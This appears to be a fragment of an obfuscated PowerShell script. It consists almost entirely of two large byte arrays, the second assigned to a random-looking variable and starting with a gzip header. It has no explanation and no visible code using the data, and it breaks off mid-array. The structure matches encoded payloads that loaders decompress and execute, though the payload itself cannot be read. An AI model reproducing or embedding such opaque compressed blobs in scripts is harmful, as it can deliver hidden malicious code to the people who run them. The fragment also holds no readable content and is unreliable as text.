51,187,216,97,201,211,160,20,148,52,54,130,76,168,72,161,182,244,155,64,48,64,102,166,195,74,127,47,196,241,249,11,135,47,117,255,192,181,94,19,22,207,37,158,0,30,238,65,247,32,20,217,136,150,5,118,161,58,10,60,65,7,196,179,56,157,48,58,247,32,253,254,136,121,43,255,253,17,7,253,253,132,98,207,148,70,179,98,91,42,177,101,90,125,244,75,38,54,17,160,95,116,98,245,145,77,248,44,153,153,154,15,213,37,54,18,132,158,24,98,63,122,160,159,38,184,130,187,187,24,58,24,106,12,51,156,224,32,237,24,230,95,140,143,162,250,241,212,60,7,211,96,18,158,131,134,141,251,132,231,160,205,135,82,38,67,23,195,12,134,14,116,114,216,252,92,242,11,7,102,241,97,116,143,67,42,7,53,182,120,142,144,148,46,2,105,104,74,31,23,62,212,25,2,128,51,132,195,80,210,6,161,56,31,246,1,234,105,90,22,133,64,58,129,12,18,1,76,133,251,195,84,154,193,80,153,248,184,240,201,176,250,169,202,79,85,252,59,56,232,55,113,88,249,111,186,208,31,121,177,210,111,162,177,210,111,213,176,210,223,114,177,210,239,253,176,210,239,238,176,242,159,81,196,106,121,142,144,74,240,32,196,230,57,194,251,141,16,192,76,59,63,72,143,244,204,144,143,116,249,80,228,35,77,62,92,86,205,61,127,35,9,235,112,88,248,239,198,8,81,74,191,2,178,95,241,238,138,6,166,183,235,145,196,75,251,176,88,253,64,204,130,85,179,184,231,175,67,115,249,231,101,108,252,7,37,210,45,194,94,141,93,177,174,178,10,97,195,34,150,84,110,111,235,79,252,220,228,42,115,235,208,95,219,1,243,204,220,68,149,241,123,66,232,167,38,178,169,143,47,81,227,91,107,227,63,212,179,194,34,206,173,105,108,88,91,213,80,83,179,186,174,185,97,237,234,234,234,214,170,213,205,173,181,205,171,171,170,154,170,90,26,171,171,91,218,26,234,233,239,75,146,104,79,56,204,191,239,67,61,235,234,106,214,213,52,85,85,173,94,91,211,210,188,154,90,174,110,168,174,173,163,158,160,174,109,110,110,168,131,179,118,90,132,149,127,242,69,168,118,246,107,142,76,20,20,172,133,103,254,7,88,117,24,165,211,174,122,230,95,244,204,159,82,108,88,204,249,211,12,127,110,243,177,137,99,41,50,29,62,21,118,140,150,185,118,71,166,163,196,51,255,182,3,31,207,252,223,61,199,44,37,153,233,62,213,226,62,102,115,31,115,186,143,101,144,229,103,150,168,100,111,14,59,108,26,237,104,63,90,168,15,77,194,115,172,220,233,83,208,36,211,125,108,25,108,204,225,0,25,213,25,138,19,108,176,136,158,99,171,105,252,99,213,105,62,43,172,224,88,157,251,88,35,234,172,232,217,84,236,112,164,249,108,158,21,216,53,14,184,66,218,192,199,58,200,172,21,79,137,213,14,94,40,58,60,43,96,0,14,52,33,247,64,45,229,176,59,200,20,138,211,237,136,22,112,192,199,118,58,164,17,21,103,43,180,75,29,238,99,151,160,61,237,71,71,166,221,138,157,149,231,62,22,196,46,242,28,68,115,35,182,208,30,201,17,217,217,114,143,150,138,60,207,177,41,60,172,46,212,57,125,130,123,228,8,187,209,19,27,35,71,144,108,57,164,249,98,82,248,177,253,118,236,209,99,51,224,72,207,185,76,204,160,24,79,135,32,204,125,236,152,83,96,254,87,184,143,93,157,89,44,32,228,113,247,177,155,51,121,20,84,255,191,246,142,166,199,109,227,202,149,87,75,125,120,149,136,66,144,77,176,11,76,9,52,78,2,83,159,148,86,50,180,118,12,127,160,11,120,147,77,157,221,180,7,195,160,196,225,74,136,190,34,82,94,111,27,3,17,139,30,242,19,122,40,208,75,15,57,4,104,14,61,24,69,208,94,114,74,114,75,142,1,18,228,212,67,17,244,176,64,78,73,223,123,195,79,121,13,197,215,38,99,47,135,226,204,188,175,121,239,205,112,200,121,132,255,222,233,31,159,125,204,144,146,69,167,169,1,13,208,244,220,90,65,42,156,81,231,89,150,129,10,133,149,66,162,112,174,176,90,72,22,214,10,114,33,85,72,131,252,114,194,91,230,210,114,50,151,219,72,43,239,158,66,239,63,151,77,73,171,40,151,13,48,75,112,9,155,164,29,167,48,78,17,177,239,111,0,93,40,1,246,188,156,81,230,31,228,182,148,249,135,41,248,83,230,127,87,230,15,65,107,148,249,71,196,251,135,212,173,31,131,253,99,21,114,135,57,82,235,249,103,196,63,182,88,93,131,54,160,31,112,4,253,248,2,92,49,144,35,92,17,14,124,48,28,204,191,22,221,249,111,89,94,221,200,95,76,163,8,1,221,9,118,34,148,254,103,13,212,64,153,159,82,37,119,133,80,254,151,142,167,120,116,147,73,26,33,224,124,171,0,110,104,69,121,37,29,140,44,121,57,165,252,86,105,110,41,7,27,202,193,102,126,79,105,203,162,95,246,214,81,253,220,117,229,0,7,158,205,20,75,128,240,64,132,104,76,240,235,92,42,133,109,64,128,155,185,243,178,140,130,230,232,215,115,200,182,251,12,113,186,137,206,153,35,39,57,80,72,57,145,200,187,168,253,196,156,132,231,88,181,46,168,198,12,202,119,214,101,20,30,216,216,169,226,166,209,1,111,210,224,2,118,117,110,75,185,147,82,238,36,81,148,119,208,11,239,225,216,154,223,203,239,37,229,4,162,1,198,230,15,73,199,30,162,245,97,150,64,245,78,228,158,6,47,137,72,110,0,17,112,57,1,228,131,108,243,238,158,76,191,193,251,67,91,247,117,172,156,67,38,208,9,164,20,25,250,229,64,113,239,40,174,161,184,28,71,48,234,57,247,109,145,205,72,182,39,89,178,96,56,201,187,15,0,46,86,75,165,72,45,68,91,106,8,210,113,13,113,114,30,60,172,226,190,151,194,191,20,136,15,12,24,76,143,100,71,138,184,185,6,156,38,201,170,11,48,47,147,113,192,147,209,64,3,219,4,37,72,33,22,180,237,36,84,192,49,103,37,139,243,187,44,122,174,236,58,30,96,120,88,201,130,140,225,60,131,69,25,44,202,96,81,6,139,50,162,104,29,139,214,115,32,134,252,59,212,33,192,56,244,38,57,139,47,81,1,80,247,242,238,159,242,238,159,179,32,142,251,91,224,22,97,144,77,227,96,227,190,151,119,255,74,66,63,160,227,151,64,23,49,15,30,70,134,28,178,243,34,91,23,89,90,100,89,145,173,137,44,3,25,186,226,249,1,77,17,160,63,238,39,128,39,58,69,96,242,42,73,52,41,164,34,230,16,217,167,168,107,176,143,220,247,169,24,157,233,131,188,251,193,121,16,37,22,208,117,233,187,79,194,72,88,57,252,152,32,147,206,78,159,250,39,119,175,141,167,55,238,115,218,70,72,19,69,206,105,143,39,166,31,126,41,177,87,30,3,224,231,244,255,151,18,20,199,143,193,100,24,191,115,178,143,159,128,136,37,49,43,105,158,113,29,211,194,197,160,126,239,49,245,241,131,230,127,249,74,146,62,79,132,37,206,55,146,244,135,72,136,183,207,19,248,177,151,67,233,182,116,23,142,55,232,93,189,93,122,70,126,23,242,87,165,155,18,5,216,151,62,90,253,246,123,1,215,143,84,39,242,43,30,156,213,0,107,152,174,211,181,67,90,43,184,233,173,45,4,43,78,18,198,81,196,86,111,208,154,208,136,222,65,11,239,209,69,250,219,170,78,177,203,197,211,114,177,14,241,40,164,167,169,78,57,248,135,171,81,248,233,155,231,73,62,215,104,13,198,95,27,177,61,200,106,164,108,66,248,35,171,46,94,122,153,234,248,248,174,211,10,67,151,232,152,44,208,137,223,94,76,69,234,46,172,106,73,248,37,178,34,212,41,194,253,123,145,104,107,80,140,196,221,96,5,105,68,107,25,33,5,209,85,186,96,93,20,210,11,68,211,45,90,143,197,22,215,232,45,155,19,162,10,95,63,116,98,180,135,245,132,148,77,90,115,193,254,120,43,144,132,36,93,38,90,94,243,96,244,61,90,124,94,70,75,105,18,178,140,175,104,45,202,82,39,249,196,235,44,74,105,81,70,77,106,115,213,91,167,194,183,147,6,180,186,180,172,221,183,255,248,103,251,202,253,225,128,221,243,110,41,84,184,237,80,25,247,34,90,236,168,51,199,210,154,234,149,203,235,153,182,225,189,101,207,134,198,168,111,113,219,57,140,181,1,40,35,27,26,76,71,151,236,110,143,15,13,91,27,250,59,23,181,238,120,120,201,176,135,197,123,21,21,64,49,22,0,243,223,119,143,17,128,247,61,42,195,64,67,59,234,222,73,100,39,119,209,152,76,212,146,128,224,76,103,54,109,172,251,145,152,171,2,51,180,180,189,5,10,239,55,92,153,242,183,103,192,16,55,49,24,96,127,192,143,184,253,35,161,214,212,0,74,20,78,16,168,231,22,191,199,7,108,128,199,29,213,176,197,182,229,169,202,102,125,177,35,109,71,181,140,129,205,85,86,10,169,41,157,65,142,79,123,41,70,124,187,20,72,1,126,211,149,110,52,204,204,114,38,98,213,131,238,193,14,10,165,30,82,246,11,77,99,87,25,70,198,96,99,139,57,61,206,188,109,11,126,247,217,112,209,112,224,208,183,89,4,2,235,25,54,235,112,62,98,14,241,197,198,163,80,106,144,140,145,201,160,133,201,49,12,19,20,59,99,70,247,172,199,125,167,87,100,7,160,141,67,220,153,68,24,1,236,116,60,153,246,13,135,51,46,66,54,218,143,0,243,201,58,238,15,6,204,152,57,227,161,65,1,45,64,123,109,218,234,65,160,134,99,96,196,151,192,0,192,133,155,160,138,76,211,60,145,6,156,251,64,15,129,127,67,148,135,165,109,123,54,153,140,167,192,220,107,183,217,174,185,163,254,158,87,203,149,138,94,223,214,42,117,189,161,233,181,110,93,51,234,22,135,123,229,166,201,57,175,153,53,171,252,0,59,254,241,152,182,151,99,169,213,43,181,102,167,101,104,117,179,5,88,172,142,169,53,121,213,212,140,170,174,151,171,213,186,213,170,25,75,176,52,151,99,209,141,170,85,109,242,154,86,175,117,90,154,174,235,21,173,99,180,186,154,217,104,153,186,161,27,13,94,107,46,195,82,172,44,199,83,177,26,219,141,238,118,67,107,150,121,69,211,171,181,150,214,170,119,58,90,179,102,150,173,134,89,54,141,237,101,120,42,229,229,104,154,188,108,109,27,149,170,214,177,58,53,16,26,111,106,32,194,186,166,55,45,179,94,54,42,117,163,245,136,208,218,165,69,147,104,151,98,214,227,91,32,18,179,59,50,197,118,101,223,30,120,204,28,64,215,175,239,239,106,198,177,49,229,164,175,164,167,163,177,3,70,178,168,174,144,129,69,116,78,2,6,1,94,175,127,212,227,211,64,235,1,150,93,12,202,247,167,220,246,227,152,178,155,184,129,76,156,190,248,230,254,205,151,162,100,0,168,233,34,186,56,89,230,152,136,26,113,160,32,192,6,198,57,158,56,172,63,10,81,210,46,224,56,104,177,235,18,198,16,182,184,14,85,108,8,161,8,32,0,141,188,133,45,54,59,95,100,118,111,60,27,68,208,129,123,28,99,41,9,241,130,8,124,233,225,37,180,191,2,89,92,159,244,175,2,27,191,6,255,241,59,0,114,193,135,134,180,94,0,23,201,47,0,38,4,208,159,34,149,197,46,5,143,138,216,120,212,221,61,169,231,111,31,11,106,252,237,218,161,238,153,64,22,201,210,131,216,115,156,201,165,82,201,3,90,12,128,2,61,195,210,237,189,221,82,181,92,174,151,222,140,131,83,47,35,3,237,146,15,12,192,167,211,1,232,17,140,33,79,0,190,210,120,20,252,62,6,153,164,240,5,135,213,139,44,252,21,162,68,36,2,237,96,60,58,194,125,149,79,202,214,89,120,5,91,49,136,193,40,119,150,72,23,13,48,98,110,66,43,176,131,135,96,114,214,120,26,104,38,142,28,208,165,93,241,152,192,22,90,77,49,169,108,48,8,175,210,111,246,233,250,0,12,118,250,146,239,61,16,48,229,38,199,224,160,48,37,242,39,12,193,21,199,223,120,24,118,249,226,188,38,58,50,57,39,19,152,208,28,99,108,101,53,122,221,155,232,68,163,47,211,222,250,107,68,187,230,61,226,176,99,109,130,233,82,67,60,62,137,21,78,252,189,179,87,167,221,94,31,183,71,227,115,21,245,229,120,165,248,211,21,181,81,7,79,219,208,43,186,222,237,90,21,211,138,85,30,24,163,163,153,113,180,0,164,20,244,215,217,18,9,175,123,178,243,236,13,122,50,172,22,222,4,253,75,124,123,157,181,165,159,211,79,48,253,15,101,115,203,138,0,192,0,0)
    
    
    
    
    
    
    
    
    [byte[]] $STRDYFUGIHUYTYRTESRDYUGIRI =@(31,139,8,0,0,0,0,0,4,0,236,189,9,124,99,85,245,56,126,95,246,164,105,218,151,116,73,219,180,201,48,11,157,173,36,233,150,14,48,51,77,147,182,233,222,52,109,211,194,48,147,173,105,218,108,77,210,141,165,116,16,16,20,144,197,47,34,160,95,54,5,17,21,148,85,217,69,144,205,239,160,172,202,248,69,89,4,69,129,239,23,1,17,202,255,156,251,94,210,164,203,128,226,239,243,223,204,204,59,239,158,115,207,57,247,220,115,207,189,247,220,151,165,221,163,23,18,33,33,68,4,215,39,159,16,114,39,225,94,123,201,167,191,22,225,82,233,127,172,34,183,202,159,220,112,39,211,245,228,6,215,120,40,105,136,39,98,193,132,39,98,240,121,162,209,88,202,224,13,24,18,211,81,67,40,106,176,245,14,24,34,49,127,160,38,63,95,177,137,215,209,103,39,164,139,17,146,138,183,110,240,164,245,190,68,84,76,30,35,35,228,251,128,72,56,218,247,159,4,96,160,149,156,117,88,22,112,118,19,178,124,39,6,134,210,241,37,36,123,207,34,164,144,254,95,190,103,110,244,117,0,244,118,114,141,146,175,10,214,234,37,67,148,159,193,23,171,94,96,159,44,11,149,1,222,158,133,215,164,2,115,41,184,223,250,61,142,151,246,117,69,251,64,62,80,147,72,38,124,132,183,13,108,164,29,189,57,151,111,47,252,175,73,4,194,49,96,84,242,54,83,93,183,174,226,179,174,52,243,194,39,185,123,59,109,94,76,94,236,37,228,109,47,213,128,151,228,137,31,18,114,105,233,103,234,49,125,41,200,54,162,49,138,201,47,56,121,214,114,21,20,150,148,2,98,71,131,208,35,39,195,101,193,144,99,69,219,88,162,17,225,128,145,106,5,180,213,244,252,39,159,124,178,133,226,150,39,161,72,88,166,100,73,84,178,196,104,132,150,49,180,111,97,31,244,191,250,54,96,45,29,209,48,150,45,216,32,75,4,44,179,176,31,43,238,130,138,243,192,1,204,194,1,68,239,1,84,67,44,69,168,238,135,160,206,114,8,193,217,8,14,2,96,25,170,228,107,216,80,2,218,140,3,239,229,72,23,238,186,30,110,56,38,188,89,205,104,150,165,17,25,161,111,82,34,227,220,203,90,74,104,223,132,92,223,78,130,203,133,109,141,160,164,32,1,93,140,83,189,11,30,180,230,1,206,26,112,45,89,240,35,1,28,47,1,203,199,176,252,20,86,138,57,79,200,161,188,235,70,234,9,84,100,249,79,52,248,82,44,93,4,160,68,35,160,61,98,161,215,23,132,74,71,150,4,232,31,145,165,5,25,254,128,172,118,234,148,101,87,85,157,80,58,82,234,62,63,31,252,162,97,184,94,209,38,218,104,175,142,199,30,11,74,221,160,246,59,88,20,237,18,211,62,80,7,65,35,208,80,213,104,213,130,23,181,253,12,196,180,11,62,44,62,10,197,43,45,63,69,46,241,54,141,81,68,234,9,206,55,104,184,128,84,67,136,74,10,152,106,80,36,57,4,93,170,88,8,162,200,51,128,46,140,99,233,5,40,125,11,43,20,22,52,71,178,13,64,133,81,73,58,228,52,188,89,234,135,37,21,152,65,168,131,9,177,99,188,156,7,151,14,46,108,202,242,69,236,101,249,174,47,97,217,68,253,180,29,193,239,101,212,71,85,89,253,188,159,246,243,118,128,106,225,82,49,184,65,96,65,253,219,212,130,67,42,140,169,101,227,66,88,58,140,67,81,166,46,91,152,64,236,119,72,159,196,210,171,80,58,173,18,74,150,110,104,131,173,170,88,18,105,202,45,243,232,241,183,16,208,232,47,129,128,154,132,234,133,64,122,132,43,169,227,55,31,58,26,8,11,97,164,190,129,42,179,70,157,147,36,11,48,201,68,130,5,232,168,98,65,148,6,37,6,128,50,90,44,82,11,212,194,88,61,138,148,91,94,23,163,95,138,137,93,133,110,7,153,89,136,192,16,176,249,160,107,219,96,201,252,24,232,63,4,252,1,168,219,143,193,9,180,39,225,26,3,193,89,184,90,160,108,89,194,176,93,0,21,162,68,1,196,105,117,62,78,172,210,243,37,24,41,21,108,69,137,90,120,74,57,84,158,7,28,204,53,108,197,66,20,141,126,7,7,79,136,44,90,3,46,54,150,57,232,125,137,38,223,114,140,144,142,72,5,106,254,31,40,47,192,236,16,129,138,50,184,177,138,24,12,146,4,67,181,220,18,6,187,146,96,131,226,228,67,44,78,214,204,0,176,162,133,8,150,255,12,101,206,34,33,90,164,205,88,148,46,234,88,93,137,240,26,86,87,170,63,238,60,33,53,78,183,134,125,18,75,41,120,99,33,142,212,191,1,181,124,137,225,12,120,29,250,189,80,156,101,157,188,202,173,86,148,171,153,216,78,206,189,231,8,211,22,18,182,64,95,237,214,20,88,254,34,206,144,44,53,160,214,144,159,9,176,217,37,156,171,184,79,89,194,80,4,31,188,1,140,150,195,226,207,208,205,162,229,206,97,143,42,74,89,137,190,207,205,119,170,34,6,117,10,174,51,121,52,76,254,65,77,174,181,52,41,45,61,96,229,231,118,61,168,175,115,31,193,251,82,75,185,96,217,139,50,253,214,175,106,228,22,135,136,198,200,46,168,225,28,118,236,199,224,48,89,137,65,0,155,197,55,45,125,96,24,89,80,115,35,131,161,199,202,98,27,184,33,25,194,125,111,161,40,107,208,84,172,218,205,86,178,149,23,132,96,224,182,114,92,199,103,6,142,149,178,138,244,120,99,78,35,100,37,58,247,194,20,218,248,49,242,22,90,110,198,37,92,166,223,1,138,74,221,223,52,200,209,156,155,62,66,3,10,115,12,128,198,36,91,44,131,200,173,42,225,85,102,237,89,243,31,225,242,18,3,104,153,65,21,247,224,154,168,225,184,242,50,49,50,64,185,28,31,209,240,56,3,164,45,179,24,155,154,172,254,72,217,60,3,49,18,162,223,27,219,140,22,170,44,231,125,66,217,239,1,31,25,100,25,85,50,170,106,233,239,208,224,126,168,177,236,162,179,184,32,219,230,106,37,181,217,192,53,55,12,12,150,111,209,200,108,194,0,165,145,100,25,199,210,190,35,71,194,234,152,42,208,23,101,98,170,58,47,51,216,69,22,57,218,170,90,72,162,168,152,1,243,75,12,10,108,102,20,236,228,71,68,98,248,0,40,56,153,98,208,172,225,71,104,118,12,249,255,10,122,206,167,122,100,150,183,48,32,88,182,144,174,174,223,251,59,237,128,17,77,221,188,148,86,148,27,5,66,86,185,60,254,132,219,21,46,194,253,27,221,98,249,205,135,84,195,201,224,9,3,238,33,150,199,62,76,171,249,87,204,128,234,35,205,128,82,203,247,48,3,42,111,186,12,26,54,72,177,245,46,52,71,91,156,14,204,167,160,127,196,114,242,135,56,138,220,248,156,142,35,250,35,4,239,99,167,127,193,245,231,105,228,120,244,67,92,103,89,203,239,63,249,135,199,172,112,173,117,64,99,17,224,116,99,53,92,106,80,105,249,53,215,152,28,35,107,9,91,84,99,73,138,99,32,213,168,178,242,161,179,255,134,17,120,234,223,112,174,176,57,115,165,146,27,134,75,160,3,107,172,187,58,204,160,254,65,211,149,107,153,174,182,252,125,9,157,161,48,208,100,229,189,15,160,185,236,160,128,245,156,45,41,95,14,139,115,96,248,133,108,17,91,89,130,203,197,66,2,27,100,32,72,45,55,210,0,107,218,136,189,205,199,8,206,231,44,165,89,52,11,235,2,248,59,250,49,13,33,28,43,220,141,33,49,41,38,150,211,161,201,244,226,118,120,241,125,244,7,221,197,193,130,10,220,233,83,216,132,28,154,88,152,198,82,62,150,102,176,196,98,179,148,245,112,3,218,110,3,217,213,217,194,150,245,178,5,145,229,234,247,113,208,170,192,180,42,203,12,148,213,130,165,98,204,99,104,188,115,227,243,139,247,208,158,135,222,195,124,181,89,199,165,23,239,194,117,63,196,224,173,176,144,52,18,122,172,98,48,79,103,193,161,98,204,101,237,12,159,106,161,75,241,186,28,174,221,112,189,135,153,26,225,147,177,5,64,68,149,151,211,84,97,17,211,53,139,27,55,83,60,136,85,11,208,84,121,186,84,13,156,219,23,113,129,179,252,130,225,5,43,120,65,41,82,235,115,5,243,50,130,2,20,196,237,217,242,91,146,195,34,201,176,8,145,165,48,195,130,186,203,47,167,19,118,17,153,184,185,111,134,1,229,164,11,80,90,156,46,97,126,186,125,17,23,76,154,91,103,53,32,202,52,32,70,22,204,140,44,63,70,22,108,64,203,55,128,76,150,47,165,155,213,231,241,228,124,36,223,12,204,213,32,38,177,156,204,228,152,158,159,209,44,65,205,152,235,89,134,144,69,152,97,81,102,88,164,200,82,146,105,124,89,139,52,195,34,67,22,156,123,150,163,211,150,148,241,134,96,63,233,254,84,66,23,78,254,60,133,203,103,150,38,89,70,147,28,53,225,150,75,131,187,116,215,71,31,163,12,150,45,239,124,204,119,189,132,31,55,148,183,108,204,12,10,117,171,34,227,86,5,106,194,105,200,53,134,130,165,188,77,216,75,203,237,105,170,94,193,147,177,203,150,219,50,100,57,79,198,80,176,252,50,237,247,42,158,138,13,89,126,149,166,234,120,42,118,132,46,77,37,77,86,180,220,98,1,184,45,49,133,231,174,89,52,173,24,38,92,233,249,121,244,244,3,231,201,196,155,121,36,126,13,20,22,230,176,182,12,106,23,81,31,221,29,74,154,150,232,230,250,46,166,1,132,108,89,208,66,77,209,18,3,7,148,114,90,222,70,58,150,192,97,75,48,179,151,228,2,66,151,164,149,180,98,122,162,169,33,72,164,54,110,171,34,213,183,224,157,167,161,219,225,204,36,33,12,67,231,33,107,169,166,199,28,134,59,71,130,47,73,29,186,159,238,159,120,54,178,44,208,163,133,200,242,23,236,125,53,223,99,129,192,189,48,143,125,168,100,232,201,146,197,37,75,196,10,47,8,29,71,87,197,61,120,200,129,131,224,201,200,179,1,121,132,220,26,126,28,174,17,23,209,83,209,23,233,145,15,214,18,254,20,126,44,38,24,51,180,42,140,135,26,170,232,14,122,40,102,69,151,195,89,101,51,54,34,46,194,99,225,194,169,168,120,43,40,78,73,113,73,63,13,209,157,116,85,77,155,201,138,23,78,34,252,49,20,219,150,184,23,78,65,124,51,10,105,113,72,4,150,239,211,99,53,25,165,46,162,107,140,0,39,0,119,52,220,70,126,191,76,63,164,206,61,174,45,96,201,132,43,235,233,88,170,199,161,196,86,121,73,28,191,173,89,227,183,149,142,95,30,156,85,247,50,220,154,120,168,8,27,131,8,82,196,96,92,20,139,219,48,8,247,158,95,76,151,96,23,234,84,32,121,59,206,128,197,29,20,238,68,72,23,233,197,26,212,189,120,12,133,144,182,137,146,104,245,162,105,153,193,188,92,172,197,245,28,79,113,139,117,153,82,61,173,198,192,92,108,160,69,220,218,22,27,113,214,44,90,104,99,77,168,53,15,121,119,81,252,88,132,19,139,199,209,38,143,167,112,55,71,218,67,235,247,82,216,76,161,149,194,150,76,107,54,138,219,81,163,18,241,86,42,222,70,97,59,133,14,10,59,40,236,164,176,43,35,221,141,86,225,26,160,56,140,105,251,150,195,212,197,12,125,144,86,195,228,53,49,18,220,79,240,32,175,49,202,201,229,128,128,51,88,125,33,245,165,194,112,63,62,48,185,32,84,53,106,192,231,38,251,70,52,18,72,6,177,232,230,8,249,242,93,168,150,34,249,192,56,33,175,58,49,234,174,154,112,71,52,98,68,171,38,70,53,16,76,47,81,103,230,149,192,217,2,207,189,82,86,42,96,165,23,93,201,74,33,128,17,185,32,180,231,117,136,38,44,124,133,238,163,83,8,13,139,192,123,224,151,7,177,92,5,25,230,38,42,42,142,178,178,137,145,167,89,81,21,43,27,169,26,213,239,217,239,55,96,28,78,236,255,229,149,172,172,116,68,35,131,99,201,241,79,163,58,52,92,111,56,81,105,96,54,218,131,26,185,225,220,239,62,249,22,164,30,75,47,254,248,50,77,158,97,198,101,46,212,40,241,0,220,137,251,104,190,206,171,81,149,64,142,139,91,167,132,45,208,250,95,146,194,9,163,160,204,237,126,233,34,189,214,75,17,45,69,10,189,7,40,86,138,88,21,143,64,241,192,55,217,130,114,72,147,33,251,57,222,118,23,78,62,185,166,144,85,104,88,54,79,163,102,149,26,141,90,206,42,216,60,86,89,82,89,42,169,134,129,149,168,149,44,37,149,234,149,90,158,2,213,72,211,234,217,50,158,66,69,88,121,153,190,164,156,167,240,106,202,43,43,114,213,84,232,149,186,92,53,58,61,91,153,171,166,82,95,82,149,171,166,170,82,47,207,213,163,151,235,149,122,69,174,38,189,66,207,234,243,114,117,233,243,244,37,122,101,174,54,189,178,82,159,191,66,93,62,168,83,173,80,167,2,117,5,43,212,21,128,186,194,92,117,165,21,122,86,82,109,207,210,166,3,235,212,60,41,173,44,15,212,105,120,26,175,172,68,95,164,47,226,73,188,174,138,10,125,113,174,46,232,148,92,95,178,66,89,1,40,43,205,85,86,14,202,180,185,202,244,242,10,125,217,10,109,42,208,86,158,171,173,12,136,21,185,202,170,64,153,110,133,178,252,10,125,101,174,50,45,232,170,202,213,85,9,186,244,185,186,192,177,69,122,195,138,110,150,235,55,72,170,91,179,116,85,129,131,142,226,73,203,46,43,212,111,228,105,105,101,208,111,253,38,158,150,246,127,185,126,115,174,178,114,16,221,146,171,172,18,116,29,189,66,151,2,116,85,231,234,210,231,151,235,183,230,42,43,1,101,219,114,149,149,129,178,237,185,202,116,160,107,199,10,93,48,38,59,115,117,129,47,242,244,53,43,186,9,103,40,253,49,185,218,180,160,205,152,171,173,68,167,55,73,170,219,178,148,85,66,7,204,60,105,57,100,11,244,181,60,141,215,5,17,165,175,227,73,153,9,160,211,215,231,42,43,3,101,13,43,148,161,105,141,185,202,74,65,153,37,87,89,149,78,223,148,171,11,196,20,250,93,185,202,116,64,60,54,87,23,204,185,98,253,113,185,202,202,117,250,227,87,40,195,25,176,59,87,153,22,148,237,89,161,76,14,202,246,114,52,96,41,116,107,80,154,117,107,176,94,237,214,32,147,198,173,81,178,249,176,160,231,179,249,50,125,225,137,182,27,225,108,6,27,9,61,163,22,177,114,204,174,21,37,108,81,73,57,38,157,10,86,145,38,148,243,132,188,52,161,170,188,122,10,27,82,166,9,122,37,207,82,4,251,212,141,2,161,160,83,40,218,47,28,19,239,63,224,86,73,85,162,151,254,195,189,128,91,189,74,82,58,2,101,149,184,186,29,51,22,215,54,158,87,188,95,36,30,251,84,222,111,114,122,61,98,207,145,25,175,65,62,145,80,60,118,224,83,24,97,27,105,21,232,13,194,17,189,126,191,95,32,4,232,61,0,196,232,2,38,36,187,232,19,38,216,173,37,165,52,65,89,192,252,100,91,133,81,72,252,132,190,219,194,22,41,170,29,152,239,225,211,241,196,219,144,251,38,190,162,36,241,106,216,185,21,213,112,14,150,164,182,224,14,125,24,143,132,91,146,144,66,42,20,135,145,149,47,98,210,182,229,8,98,184,255,75,182,49,244,140,169,36,250,237,68,41,161,111,251,52,146,60,43,125,194,199,228,25,5,164,138,75,183,56,165,91,184,36,234,48,30,177,183,148,114,101,62,97,99,248,55,230,88,150,211,51,67,77,223,133,156,73,200,253,20,130,106,13,230,219,130,234,22,154,98,211,247,153,48,217,147,99,14,141,86,139,196,23,132,172,152,73,136,232,27,76,128,41,132,226,18,73,172,8,219,21,64,169,186,7,36,69,146,145,66,129,168,196,250,11,216,90,183,53,8,132,34,177,80,132,89,187,98,11,175,115,148,224,251,88,132,45,81,88,58,80,77,12,206,98,10,145,68,95,61,90,229,158,112,199,224,240,166,16,199,32,125,85,228,113,55,37,119,219,194,221,242,101,2,43,230,240,2,153,212,221,140,198,200,5,110,217,200,54,73,169,91,33,17,238,249,1,62,45,223,134,239,119,72,200,12,212,230,225,91,57,52,7,85,44,96,22,185,171,21,18,174,5,204,34,55,107,54,87,151,1,61,89,142,45,173,200,85,19,127,135,225,136,85,96,181,14,45,144,85,39,161,103,37,19,213,41,184,201,56,12,159,198,40,66,177,42,106,83,76,15,55,249,5,161,146,221,191,4,215,64,161,124,159,70,132,183,19,52,98,184,113,243,75,2,169,85,9,100,62,162,146,221,18,154,232,195,60,20,151,104,228,37,26,133,101,55,62,222,87,148,143,66,202,131,121,18,77,121,96,246,138,75,71,246,218,232,201,163,100,247,113,244,152,34,43,209,168,232,33,145,85,241,106,100,85,94,76,167,228,208,78,41,171,114,143,92,116,0,80,21,232,86,65,198,35,218,131,73,22,29,62,200,111,228,114,200,80,184,76,9,74,90,62,77,130,98,41,151,35,65,233,37,42,46,197,140,143,149,26,182,139,153,237,75,170,163,137,225,24,125,129,111,73,85,77,150,84,91,137,225,250,231,238,61,176,164,218,70,12,255,211,248,209,142,37,213,118,98,88,120,232,220,246,37,213,14,56,102,85,147,153,240,70,62,34,201,94,5,61,122,85,147,210,17,42,172,220,6,181,28,207,9,220,205,29,89,82,237,132,138,157,100,23,199,187,147,242,34,233,104,202,139,112,36,130,244,19,17,113,115,122,182,175,209,202,118,42,185,61,35,185,157,107,101,59,223,74,13,173,24,55,136,111,128,196,120,73,89,67,60,81,74,152,192,74,78,10,77,114,99,119,209,80,125,129,159,222,88,239,1,158,126,12,208,143,33,48,62,159,144,253,75,42,35,135,1,242,201,254,116,93,21,136,24,9,56,18,189,179,164,220,65,12,5,240,130,106,19,135,189,13,47,192,204,128,153,72,57,48,155,73,57,167,222,147,230,209,231,123,233,77,227,63,192,57,116,43,189,244,5,94,15,250,158,195,169,31,182,102,42,75,253,89,117,219,114,235,244,170,108,193,29,233,202,237,164,210,203,117,11,4,60,88,57,146,230,154,9,71,48,225,231,130,111,128,15,62,124,19,31,34,66,230,209,20,148,104,10,45,53,136,22,150,236,198,197,3,246,63,47,238,42,85,184,171,72,96,175,41,116,179,5,172,114,63,155,143,107,42,228,251,133,16,139,133,108,33,196,226,163,24,139,221,25,85,44,101,103,105,196,227,193,0,176,82,55,224,224,83,178,191,202,207,81,180,148,130,62,215,23,242,164,50,142,4,142,215,107,145,164,40,197,77,14,12,222,115,23,62,147,151,228,23,105,36,48,27,170,78,128,92,62,105,192,89,124,9,76,88,141,166,68,83,100,57,10,91,215,196,190,134,132,98,86,83,61,141,133,18,41,91,204,150,224,155,33,176,125,129,178,34,182,136,85,239,121,134,190,215,16,187,12,56,164,244,12,122,24,223,38,96,55,87,207,0,229,69,137,1,159,116,197,64,159,66,83,90,162,209,90,254,23,31,71,151,178,218,203,53,101,108,89,108,35,210,203,233,162,195,150,199,54,33,86,193,86,160,213,123,247,151,44,9,52,58,64,64,255,158,253,154,138,172,197,103,51,90,80,33,137,109,193,61,245,124,88,10,153,216,209,80,228,78,243,149,108,101,12,78,224,138,38,124,94,200,150,21,65,43,91,145,191,178,122,27,202,110,199,99,253,56,26,81,25,219,129,237,85,177,85,176,36,184,53,144,195,83,85,26,3,212,236,68,214,26,212,82,140,90,12,37,105,26,28,181,21,215,208,147,31,16,15,225,